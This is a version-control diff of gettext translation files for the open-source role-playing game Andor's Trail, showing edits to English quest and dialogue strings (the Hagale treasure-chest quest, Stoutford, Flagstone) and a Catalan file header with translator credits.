#: questlist_graveyard1.json:graveyard_quest:80
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgid "I opened the chest, which contained a powerful sword. Next time Im in the Wood settlement I should see if Hagale is still around."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:90
@@ -37013,14 +36862,6 @@ msgstr ""
msgid "Hagale tried to rob me and take the sword. He lost his wife and daughter and wasn't thinking straight. I gave him the sword without a fight."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:100
msgid "Hagale wanted some of the gold I got from selling the sword. It seemed fair to give him a share."
msgstr ""
#: questlist_graveyard1.json:graveyard_quest:105
msgid "Hagale tried to rob me of the gold I got from selling the sword. I had no choice but to kill him. "
msgstr ""
#: questlist_graveyard1.json:waterwayacave
msgid "Just the beginning"
msgstr ""
@@ -37029,10 +36870,6 @@ msgstr ""
msgid "In a lonely house east of Loneford, I met an old man named Cithurn."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:12
msgid "Cithurn told me he needs an experienced fighter to help with his problem."
msgstr ""
#: questlist_graveyard1.json:waterwayacave:15
msgid "Cithurn told me that the surrounding forest has been under invasion by monsters for several weeks."
msgstr ""
@@ -37050,7 +36887,7 @@ msgid "Cithurn did not remember if the forest invasion began before the events i
msgstr ""
#: questlist_graveyard1.json:waterwayacave:35
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgid "I promised Cithurn I would investigate the source of the monster invasion in the forest. I will have to pass though the forest to access an entrance to a cave northeast of Cithurns home"
msgstr ""
#: questlist_graveyard1.json:waterwayacave:40
@@ -37146,19 +36983,7 @@ msgid "Purchased potion of lightning attack"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:160
msgid "Mentioned Remgard - Teksin"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:170
msgid "Been to Remgard"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:180
msgid "Talked to Yolgen about the castle"
msgstr ""
#: questlist_graveyard1.json:nondisplay_2:190
msgid "Talked to Yolgen about Flagstone"
msgid "Mentioned Remgard"
msgstr ""
#: questlist_guynmart.json:guynmart
@@ -37884,10 +37709,6 @@ msgstr ""
msgid "Blornvale drank the potion."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:71
msgid "Tahalendor came to hear Blonvale confession."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:72
msgid "Blornvale confessed to killing Aryfora's father. Unfortunately there is no witness."
msgstr ""
@@ -37896,14 +37717,6 @@ msgstr ""
msgid "Blornvale now understands what you were trying to do. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:75
msgid "Tahalendor wouldn't believe your story. You will no longer be able to help Aryfora get back her shop."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:76
msgid "It's all your fault that Aryfora is crying now."
msgstr ""
#: questlist_stoutford_combined.json:thorns_vengeance:80
msgid "Blornvale confessed to killing Aryfora's father in the presence of Tahalendor."
msgstr ""
@@ -38311,7 +38124,7 @@ msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:20
msgid ""
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave her hiding place.\n"
"Odirath's daughter Gyra was hidden in the storeroom of the main house of the castle. She was surprised by the raid on the castle and no longer dared to leave the hiding place.\n"
"She was looking for Lord Berbanes helmet, which he had forgotten somewhere in the castle."
msgstr ""
@@ -38328,7 +38141,7 @@ msgid "You found the helmet."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:60
msgid "Once back in Stoutford Gyra knew the way and ran to her father Odirath."
msgid "Back in Stoutford Gyra knew the way and ran to her father Odirath."
msgstr ""
#: questlist_stoutford_combined.json:stn_quest_gyra:70

View File

@@ -1,3 +1,22 @@
msgid ""
msgstr ""
"Project-Id-Version: Andors Trail\n"
"POT-Creation-Date: Sun Nov 10 11:14:56 CET 2013\n"
"PO-Revision-Date: 2017-04-17 08:24+0000\n"
"Last-Translator: David García Garzón <david.garcia@upf.edu>\n"
"Language-Team: Catalan <https://hosted.weblate.org/projects/andors-trail"
"/game-content/ca/>\n"
"Language: ca\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=n != 1;\n"
"X-Generator: Weblate 2.14-dev\n"
#: [none]
msgid "translator-credits"
msgstr "David García Garzón"
#: actorconditions_v069.json:bless
msgid "Bless"
msgstr "Beneir"
@@ -2856,7 +2875,7 @@ msgid "Hello again. Have you found the former warden in Flagstone yet?"
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:0
msgid "I slew the former warden and found a peculiar necklace among his remains."
msgid "I slew the fomer warden and found a peculiar necklace among his remains."
msgstr ""
#: conversationlist_flagstone.json:flagstone_sentry_return2:2
@@ -4632,7 +4651,7 @@ msgstr ""
#: conversationlist_jolnor.json:jolnor_gaintrust_13:0
#: conversationlist_stoutford_combined.json:odirath_3_1:3
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:3
msgid "Maybe."
msgstr ""
@@ -5570,7 +5589,7 @@ msgstr ""
#: conversationlist_talion_2.json:talion_cured_1:1
#: conversationlist_maevalia.json:maevalia_r0:1
#: conversationlist_maevalia.json:maevalia15:0
#: conversationlist_stoutford.json:tahalendor2_10
#: conversationlist_stoutford.json:tahalendor2_0
msgid "What now?"
msgstr "I ara què?"
@@ -6749,7 +6768,6 @@ msgstr ""
#: conversationlist_elwyl.json:elwyl_8:1
#: conversationlist_lodar.json:lodar_5:0
#: conversationlist_stoutford.json:soutford_gateguard_what_1:0
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford.json:yolgen_rumblings10_5:1
msgid "Is there anything I can do to help?"
msgstr "Què puc ajudar en res?"
@@ -7699,7 +7717,7 @@ msgstr "Ah, sí, afortunats que t'hem trobat. Veuràs, gairebé no viatgem lluny
#: conversationlist_blackwater_harlenn.json:harlenn_6
msgid "We spend most of our time in the settlement up here on the mountain."
msgstr "[REVIEW]La major part del temps el passem a l'assentament o aquí dalt a la muntanya."
msgstr "La major part del temps el passem a l'assentament o aquí dalt a la muntanya."
#: conversationlist_blackwater_harlenn.json:harlenn_7
msgid "However, recent events have forced us to send for help. We are lucky you found us."
@@ -9390,7 +9408,7 @@ msgid "I talked to Benbyr and heard the story about you two."
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1
msgid "Hello there. You wouldn't happen to want to help an old shepherd would you?"
msgid "Hello there. You wouldn't happen to want to help an old shepherd do you?"
msgstr ""
#: conversationlist_tinlyn.json:tinlyn_story_1:0
@@ -9547,7 +9565,7 @@ msgid "Depends on what I get in return."
msgstr "Depèn del que rebi jo a canvi."
#: conversationlist_benbyr.json:benbyr_story_2:2
msgid "I try to help people wherever they might need help."
msgid "I try to help people where ever they might need help."
msgstr "Intento ajudar a la gent on sigui que necessitin ajuda."
#: conversationlist_benbyr.json:benbyr_story_3_1
@@ -9585,7 +9603,7 @@ msgid "A while ago, I did some business with a certain man called Tinlyn, over h
msgstr "Fa temps, vaig fer negocis amb un home anomenat Tinlyn, per aquí a la caserna de Quatrecamins."
#: conversationlist_benbyr.json:benbyr_story_5
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that was mutually beneficial and the guards did not know about it."
msgid "As to the nature of our business, I can't really tell you. Let's just say that our business was of the kind that it was mutually beneficial that the guards did not know about it."
msgstr "La natura del negoci, no puc explicar-te-la. Diguem que era del tipus que ens interessava mútuament que els guàrdies no ho s'assabentessin."
#: conversationlist_benbyr.json:benbyr_story_6
@@ -21493,7 +21511,6 @@ msgid "I have a feeling that we'll meet there, wherever that is."
msgstr ""
#: conversationlist_halvor_surprise.json:halvor_mlake_leaving:2
#: conversationlist_graveyard1.json:algore_special2:0
msgid "Good luck!"
msgstr ""
@@ -21778,6 +21795,12 @@ msgstr ""
msgid "I cleared Flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford.json:yolgen_initial_0:6
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0
msgid "Walk in the shadow kid. I have to apologize for my master, Tahalendor."
msgstr ""
@@ -21790,12 +21813,6 @@ msgstr ""
msgid "Can you explain?"
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_0:2
#: conversationlist_stoutford.json:yolgen_rumblings20_0:1
#: conversationlist_stoutford.json:yolgen_rumblings50_0:2
msgid "Let us talk about something different."
msgstr ""
#: conversationlist_stoutford.json:yolgen_rumblings10_1
msgid "My master is wise and old, but his sight is not as sharp as it once was. He took you for someone else."
msgstr ""
@@ -22285,10 +22302,6 @@ msgstr ""
msgid "If I must. Well, go ahead, I'll be there when you get there."
msgstr ""
#: conversationlist_stoutford.json:tahalendor2_20
msgid "Well, I don't really believe it, but we could try. Blornvale, how did you kill Aryforas father, your own brother?"
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_10
msgid "Hey, did you try to open that treasure chest?"
msgstr ""
@@ -22314,11 +22327,11 @@ msgid "Undead? I would love to hear the rest of your story but I am on a mission
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_30
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgid "You dont think someone has already tried? Its a treasure chest . . . left outside . . . in plain view . . . unguarded."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgid "Listen kid. A hundred “adventurers” before you have tried and failed to open that chest. The problem isn't killing some undead. It's getting into the cemetery, because it's protected by a magical barrier that prevents anyone from entering."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_40:0
@@ -22330,7 +22343,7 @@ msgid "That is all I know . . . Come to think of it . . . Hagale from the Wood S
msgstr ""
#: conversationlist_graveyard1.json:algore_10
msgid "Oh yeah? What's it to you kid? BURP... If you want to know, it will cost you two bottles of Lowynas special brew."
msgid "Oh yeah? What's it to you kid? BURP...If you want to know, it will cost you two bottles of Lowynas special brew."
msgstr ""
#: conversationlist_graveyard1.json:algore_20
@@ -22340,12 +22353,12 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_30
msgid ""
"I thought nothing more of it. I was a simple trader in Loneford with a beautiful wife and daughter.\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
"(Hagale takes another long swig from the bottle of Lowynas special brew)"
msgstr ""
#: conversationlist_graveyard1.json:algore_40
msgid ""
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"(Hagale takes another swig from the bottle of Lowynas special brew)\n"
"I realized that she wouldn't make it.\n"
"I watched as she suffered in agonizing pain. I knew without treatment she would die in a matter of weeks."
msgstr ""
@@ -22370,12 +22383,8 @@ msgstr ""
msgid "I heard you were interested in that unattended treasure chest by the Waterway house."
msgstr ""
#: conversationlist_graveyard1.json:algore_00:2
msgid "Don't breathe on me! I'm leaving!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99
msgid "You actually opened the chest? That sword must be worth a lot of money... could buy a lot of Lowyna's special brew... Sorry kid, but I need that sword!"
msgid "You actually opened the chest? That sword looks expensive . . . could buy a lot of Lowyna's special brew . . . sorry kid, but I need that sword!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:0
@@ -22383,15 +22392,7 @@ msgid "I went through hell to get this sword. I won't give it to you without a f
msgstr ""
#: conversationlist_graveyard1.json:algore_99:1
msgid "I went through a lot to get this sword... but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:algore_99:2
msgid "Yes, I have the sword, see here!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99:3
msgid "I did find the sword, but I don't have it anymore."
msgid "I went through a lot to get this sword . . . but you suffered more than me. I won't fight you. If you want it that badly, the sword is yours."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_99
@@ -22424,7 +22425,7 @@ msgid "You think to yourself . . ."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest3:0
msgid "Nothing my weapon couldnt handle."
msgid "Nothing my weapon couldnt handle."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest4
@@ -22436,7 +22437,7 @@ msgid "The text begins to radiate light. The ground begins to shake as darkness
msgstr ""
#: conversationlist_graveyard1.json:graveyardwall_1a
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgid "As you approach the cemeterys entrance, your steps become heavier and heavier."
msgstr ""
#: conversationlist_graveyard1.json:graveyardking_1
@@ -22492,7 +22493,7 @@ msgid "The text described a cemetery sealed by magic to contain a powerful undea
msgstr ""
#: conversationlist_graveyard1.json:algore_85
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour... it was putrid."
msgid "The ground began to tremble and darkness filled the sky. This was followed by a cracking sound, the loudest sound my ears ever heard, making a gust of cold air rush past me. Then, corpses began to claw their way to the surface. The odour . . . it was putrid."
msgstr ""
#: conversationlist_graveyard1.json:algore_86
@@ -22500,7 +22501,7 @@ msgid "Suddenly, a horde of undead attacked me. I fought them off as best I coul
msgstr ""
#: conversationlist_graveyard1.json:algore_87
msgid "(Hagale finishes the second bottle of Lowynas special brew)... Sure do. I hope you know what youre doing kid."
msgid "(Hagale finishes the second bottle of Lowynas special brew) . . . Sure do. I hope you know what youre doing kid."
msgstr ""
#: conversationlist_graveyard1.json:graveyard_quest5
@@ -22512,7 +22513,7 @@ msgid "Good luck."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day... it helps me forget."
msgid "My daughter passed away shortly after I returned. I failed my wife and my daughter. I lost everything. I buried my family in Loneford, gave up my trade, and came here. Now, I drink Lowynas special brew all day . . . it helps me forget."
msgstr ""
#: conversationlist_graveyard1.json:algore_86b:0
@@ -22649,7 +22650,7 @@ msgid "I haven't found out what is happening yet, but I wanted to let you know I
msgstr ""
#: conversationlist_graveyard1.json:algore_01
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgid "Hey kid! Why dont you be a good little boy and fetch me some Lowynas special brew?"
msgstr ""
#: conversationlist_graveyard1.json:algore_11
@@ -22658,7 +22659,7 @@ msgid ""
"\n"
"(Hagale immediately opens one of the bottles and takes a big swig, which he loudly swallows before wiping his mouth on the sleeve of his tattered shirt)\n"
"\n"
"Yeah, I know something about that chest... BURP... I almost opened it."
"Yeah, I know something about that chest . . . BURP . . . I almost opened it."
msgstr ""
#: conversationlist_graveyard1.json:algore_31
@@ -22683,18 +22684,20 @@ msgstr ""
#: conversationlist_graveyard1.json:algore_32
msgid ""
"We were only halfway there when we were attacked by Plaguestriders. My daughter and I managed to escape...\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)... but my wife did not survive."
"We were only halfway there we were attacked by Plaguestriders. My daughter and I managed to escape\n"
". . .\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew)\n"
". . . but my wife did not survive."
msgstr ""
#: conversationlist_graveyard1.json:algore_33
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through... but although the blisters were gradually healing, my daughter's health continued to decline."
msgid "My daughter was afflicted by a nasty form of blistering skin. I rushed her back to Loneford. I thought with rest, good food, and water she could pull through . . . but although the blisters were gradually healing, my daughter's health continued to decline."
msgstr ""
#: conversationlist_graveyard1.json:algore_41
msgid ""
"I had to do something. I went to Fallhaven and begged Thoronir to make me a Bonemeal potion. Although it would have cured my daughter completely, he refused because Lord Geomyr banned all use of Bonemeal as a healing substance!\n"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
"(Hagale takes another long swig from the bottle of Lowynas special brew and finishes it. He proceeds to open the second the bottle.)"
msgstr ""
#: conversationlist_graveyard1.json:algore_51
@@ -22717,14 +22720,6 @@ msgstr ""
msgid " Maybe he knows more. You should give him a visit."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:0
msgid "OK, I'll do that."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler_60:1
msgid "Where is the Wood settlement?"
msgstr ""
#: conversationlist_graveyard1.json:cithurn_62
msgid "Well $playername, you are young, and you apologized, so perhaps I will be a little forgiving. Just remember that not everywhere is like your small village. My name is Cithurn."
msgstr ""
@@ -22940,7 +22935,7 @@ msgid "Is there something I can help you with?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1
msgid "No. Is there anything else?"
msgid "No. Is there anythng else?"
msgstr ""
#: conversationlist_graveyard1.json:throthaus_1:0
@@ -23042,7 +23037,7 @@ msgid "The Guardian stares at you. You feel a sense of dread, but you resist the
msgstr ""
#: conversationlist_graveyard1.json:cithurn_130
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgid "Thanks for your help, but I dont think we have anything else to discuss."
msgstr ""
#: conversationlist_graveyard1.json:old_clothes_1
@@ -23077,62 +23072,6 @@ msgstr ""
msgid "There is nothing left to take from the corpse."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61
msgid "South of the Duleian road, close to Fallhaven."
msgstr ""
#: conversationlist_graveyard1.json:graveyardtraveler61:0
msgid "OK. I'll go there now."
msgstr ""
#: conversationlist_graveyard1.json:algore_99c
msgid "Hey kid! Stop waving that thing at me! If you want to talk to me, put it away first!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d
msgid "So where is it?"
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:0
msgid "I dropped it somewhere."
msgstr ""
#: conversationlist_graveyard1.json:algore_99d:1
msgid "I sold it."
msgstr ""
#: conversationlist_graveyard1.json:algore_99e
msgid "Not too bright, are you kid? Perhaps you should go and pick it up again."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f
msgid "I gave you the text you needed to get that sword. I think some of that gold should be mine. If you don't give me some then I'll take it from you."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:0
msgid "OK, OK. I guess it's fair that you should get a share. Here's 1000 gp."
msgstr ""
#: conversationlist_graveyard1.json:algore_99f:1
msgid "No way! I fought to get the sword, and the profit is mine!"
msgstr ""
#: conversationlist_graveyard1.json:algore_99g
msgid "Thanks kid. It's good to see you have some honor."
msgstr ""
#: conversationlist_graveyard1.json:algore_special2
msgid "Thanks for the gold kid. I decided that with the money I can rebuild my life. I'm going to sober up and start trading again. I'll be leaving here soon."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i
msgid "We'll see about that."
msgstr ""
#: conversationlist_graveyard1.json:algore_99i:0
msgid "Yes, we will!"
msgstr ""
#: conversationlist_guynmart.json:guynmart_haystack
msgid "This is a haystack."
msgstr ""
@@ -24366,7 +24305,7 @@ msgid "OK, just a second."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40
msgid "Be welcome, $playername. I am Rorthron, the world's most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgid "Be welcome, $playername. I am Rorthron, world most famous ringmaker. I know Andor, your brother. He sometimes consulted me about newly found rings."
msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_wizard_40:0
@@ -24548,7 +24487,6 @@ msgstr ""
#: conversationlist_guynmart_npc.json:guynmart_steward3_24:0
#: conversationlist_stoutford_combined.json:berbane_110:0
#: conversationlist_stoutford_combined.json:blornvale_thorns72_90:0
msgid "But ..."
msgstr ""
@@ -26256,7 +26194,7 @@ msgid "Sorry. I haven't seen anyone that looks like you. "
msgstr ""
#: conversationlist_trader_teksin.json:teksin30
msgid "I have been out in the wild for while, and have seen nobody since I left the main road weeks ago."
msgid "I have been out in the wilds for while, and have seen nobody since I left the main road weeks ago."
msgstr ""
#: conversationlist_trader_teksin.json:teksin40
@@ -26264,7 +26202,7 @@ msgid "I decided that I should find a better route to Remgard. The road through
msgstr ""
#: conversationlist_trader_teksin.json:teksin50
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close. It's north across this lake, but there is no way to cross, or to go further east around the lake."
msgid "This is as close as I can get coming this way. I am an experienced traveler, and I know that Remgard is close, north across this lake, but there is no way to cross, or to go further east around the lake."
msgstr ""
#: conversationlist_trader_teksin.json:teksin50:0
@@ -26325,7 +26263,7 @@ msgid "OK. Show me what you have."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100
msgid "For you, I will offer the special price of 4999 gold."
msgid "For you, I will offer the special price of 4999gp."
msgstr ""
#: conversationlist_trader_teksin.json:teksin100:0
@@ -26359,7 +26297,7 @@ msgid "Thanks for the advice. I need to go now."
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_0
msgid "Welcome to our wonderful Inn. How can we help you?"
msgid "Welcome to Stoutford kid. "
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_1
@@ -26410,10 +26348,6 @@ msgstr ""
msgid "Why are monster attacks increasing?"
msgstr ""
#: conversationlist_stoutford_combined.json:cadoren_4:3
msgid "Thanks for the information. I have to leave now."
msgstr ""
#: conversationlist_stoutford_combined.json:cornith_0
msgid "Hello, welcome to my shop"
msgstr ""
@@ -26474,7 +26408,7 @@ msgid ""
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_5
msgid "He told me that it is very far from here, to the northeast, beyond the river and the mountains."
msgid "He told me that it is very far from here, beyond the river and the mountains."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_6
@@ -26885,7 +26819,7 @@ msgid "Yes, I have dealt with most of the trolls. They won't dare to bother you
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4
msgid "Thank you so much! I wish you safe travels back to Stoutford. If you want to go to the glade next time you are in Remgard, just ask me for the key."
msgid "Thank you so much! If ever you want to go to the glade, just ask me for the key."
msgstr ""
#: conversationlist_stoutford_combined.json:caeda_root50_4:0
@@ -27061,7 +26995,7 @@ msgid "Who are "they"?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_9
msgid "Our priest, Tahalendor, was convinced by my uncle, Blornvale, my father's own brother."
msgid "Our priest, Talahendor, was convinced by my uncle, Blornvale, my father's own brother."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_roots4045_10
@@ -27212,7 +27146,7 @@ msgid "You are right. We need a credible witness ..."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2
msgid "Best would be Tahalendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgid "Best would be Talahendor himself. Yes, you must persuade the priest to be present when Blornvale tells the whole story."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns40_2:0
@@ -27238,7 +27172,6 @@ msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns74_0
#: conversationlist_stoutford_combined.json:stoutford_widow_thorns72_70
msgid "Any news about the murderer?"
msgstr ""
@@ -27372,7 +27305,7 @@ msgid "That's all children's stuff"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3
msgid "What did you expect? You are a kid after all. I can't give you strong potions!"
msgid "What did you expect? You are a kid after all. I must not give strong potions to you."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:0
@@ -27380,7 +27313,9 @@ msgid "You are right. Have a nice day."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_3:1
msgid "It is not for me of course. My father and his men are fighting in Flagstone right now. They urgently need some useful potions, not soap! I think three potions of the brave would do it, if you happen to have them. And possibly more, if it is good stuff."
msgid ""
"It is not for me of course. My father and his men are fighting in Flagstone right now. They need urgently some useful potions, not soap!\n"
"I think of three potions of the brave, if you happen to have. And more if it is good stuff."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4
@@ -27388,7 +27323,7 @@ msgid "Ah. Oh. That changes everything. Wait a second."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_s1_4:0
msgid "I'm in a hurry."
msgid "Look lively now."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_shop2
@@ -27485,6 +27420,14 @@ msgstr ""
msgid "I have heard enough. Thank you, kid. I will ensure that Blornvale never makes trouble again."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72
msgid "That was - a potion of truth! How dare you! Did you think I wouldn't recognize it?"
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns72:0
msgid "it was worth a try."
msgstr ""
#: conversationlist_stoutford_combined.json:blornvale_thorns74
msgid "You dare to come here again?"
msgstr ""
@@ -27630,7 +27573,6 @@ msgid "The path to Blackwater mountain was cut off by a rock fall. That stopped
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_2:0
#: conversationlist_stoutford_combined.json:odirath_1_4:3
msgid "How do I get to Blackwater mountain?"
msgstr ""
@@ -27650,10 +27592,6 @@ msgstr ""
msgid "Thanks. What about the monsters?"
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_3:2
msgid "Thanks for the information. Please show me what you have to trade."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_1_4
msgid "They started attacking the town recently. Nobody is sure why. Their attacks have been unsuccessful, so we are all hoping that they will give up soon and go back to wherever they came from."
msgstr ""
@@ -27667,7 +27605,7 @@ msgid "Thanks. I'm looking for my brother, Andor. Has anyone new been through he
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2
msgid "Yes, indeed. My daughter has not come home for some days. I don't know what's happened to her."
msgid "Yes, indeed. My daughter has not come home for some days. I do not know what's wrong with her."
msgstr ""
#: conversationlist_stoutford_combined.json:odirath_2:0
@@ -27802,11 +27740,6 @@ msgstr ""
msgid "And bonemeal is forbidden."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4:2
#: conversationlist_stoutford_combined.json:yolgen_4a:1
msgid "I will clear the castle of undead for you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_4a
msgid "Yes, incredible! Although kids like you should not play with such things."
msgstr ""
@@ -27847,10 +27780,6 @@ msgstr ""
msgid "That dreadful place has been left abandoned ever since. Recently, however, undead have started pouring out of the prison, and we had to send guards to keep them away from the road. "
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:0
msgid "I took care of that"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_1a:1
msgid "Can I help you with Flagstone?"
msgstr ""
@@ -27887,11 +27816,6 @@ msgstr ""
msgid "That sounds dreadful. Can I help you with the castle?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_2c:1
#: conversationlist_stoutford_combined.json:yolgen_surroundings_3b:0
msgid "Is there anything I could do to help?"
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_1
msgid "Well, you already were of great help. Thank you again!"
msgstr ""
@@ -27916,10 +27840,6 @@ msgstr ""
msgid "OK. I will go to the prison."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_1:1
msgid "I cleared flagstone of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_task_0_2_2
msgid "Can you clear the castle?"
msgstr ""
@@ -27941,10 +27861,14 @@ msgid "If you could help with Flagstone, it would take a big burden off us."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:0
msgid "I have been inside Flagstone, but I will go back and find out more."
msgid "I already took care of Flagstone. I cleared it of an evil demon."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:1
msgid "I have been inside Flagstone, but I will go back and find out more."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_flagstone_0:2
msgid "OK, I will take a look."
msgstr ""
@@ -27961,11 +27885,7 @@ msgid "Thank you kindly. Shadow be with you."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4
msgid "Yes, thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_surroundings_flagstone_4:1
msgid "Where do you think they came from?"
msgid "Thanks to you my friend, we don't need to worry about the undead anymore."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_reinforcements_2
@@ -28061,7 +27981,7 @@ msgid "What would I gain from that?"
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:1
msgid "You are very rude and poorly educated. Maybe I should introduce myself? $playername is my name."
msgid "You are very rude and poorly educated. May I should introduce myself? $playername is my name."
msgstr ""
#: conversationlist_stoutford_combined.json:stoutford_castle_3a:2
@@ -28151,7 +28071,7 @@ msgid "Well, it was a tough fight, but I managed to slay Lord Erwyn himself."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2:1
msgid "The undead are no match for me."
msgid "Undeads are no match for me."
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_2a
@@ -28187,7 +28107,7 @@ msgid "Yolgen puts the ring on his altar and chants a spell. Suddenly the altar
msgstr ""
#: conversationlist_stoutford_combined.json:yolgen_castle_6
msgid "That is it. The ring is destroyed. I wonder where it came from. Maybe from the depths of Mt. Galmore, or some mischievous traveller put it on Lord Erwyn's remains? Anyway, my friend, I and the people of Stoutford are most grateful."
